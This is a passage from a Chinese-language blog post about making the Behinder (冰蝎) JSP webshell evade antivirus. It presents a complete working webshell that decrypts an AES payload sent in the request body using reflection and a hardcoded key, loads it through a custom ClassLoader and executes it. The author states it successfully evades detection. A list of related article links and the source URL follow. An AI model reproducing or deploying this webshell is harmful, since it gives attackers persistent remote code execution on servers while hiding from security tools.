    17. Object o = aClass.newInstance();
    18. boolean equals = o.equals(pageContext);
    19. out.println(equals);
    20. } catch (Exception e) {
    21. out.println(e);
    22. }
    23. %>

    冰蝎的webshell在此基础上添加了AES加密,并且采用session存储来作为通信的会话。不过依然会被查杀。主要查杀点在AES加密上,使用反射实现AES加密。

    代码如下:

    1. <%!
    2. public byte[] AesEncode(String Strings,String k) {
    3. try {
    4. byte[] encryptedData = java.util.Base64.getDecoder().decode(Strings);
    5. Class aClass = Class.forName("javax.crypto.spec.SecretKeySpec");
    6. java.lang.reflect.Constructor constructor = aClass.getConstructor(byte[].class, String.class);
    7. javax.crypto.spec.SecretKeySpec skeySpec = (javax.crypto.spec.SecretKeySpec) constructor.newInstance(k.getBytes(), "AES");
    8. javax.crypto.Cipher ciphers = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
    9. ciphers.init(javax.crypto.Cipher.DECRYPT_MODE, skeySpec);
    10. Class aClass1 = ciphers.getClass();
    11. java.lang.reflect.Method method = aClass1.getDeclaredMethod("doFinal", new Class[]{byte[].class});
    12. Object invoke = method.invoke(ciphers, new Object[]{encryptedData});
    13. byte[] result = (byte[]) invoke;
    14. return result;
    15. } catch (Exception e) {
    16. e.printStackTrace();
    17. return null;
    18. }
    19. }
    20. %>
    21. <%
    22. try {
    23. class Myloader extends ClassLoader {
    24. Myloader(ClassLoader c) {
    25. super(c);
    26. }
    27. public Class get(byte[] b) {
    28. return super.defineClass(b, 0, b.length);
    29. }
    30. }
    31. String k = "1a1dc91c907325c6";
    32. session.putValue("u", k);
    33. String Strings = request.getReader().readLine();
    34. ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
    35. Myloader myloader = new Myloader(contextClassLoader);
    36. byte[] aesencode = AesEncode(Strings,k);
    37. Class aClass = myloader.get(aesencode);
    38. Object o = aClass.newInstance();
    39. boolean equals = o.equals(pageContext);
    40. out.println(equals);
    41. } catch (Exception e) {
    42. out.println(e);
    43. }
    44. %>

    可成功免杀。

  • 相关阅读:
    C++内存分布介绍
    CSS页面布局(超详解)
    神经网络模型的训练过程,怎么训练神经网络模型
    linux下的采用epoll网络模型的文件传输
    (二)、构造函数和原型
    使用cmd登录阿里云服务器
    医药行业数智化供应链管理系统:完善企业管理水平,驱动医药供应链协同发展
    Netty实践-- echo
    https的加密原理
    mybatis快速搭建入门
  • 原文地址:https://blog.csdn.net/qq_35029061/article/details/126128612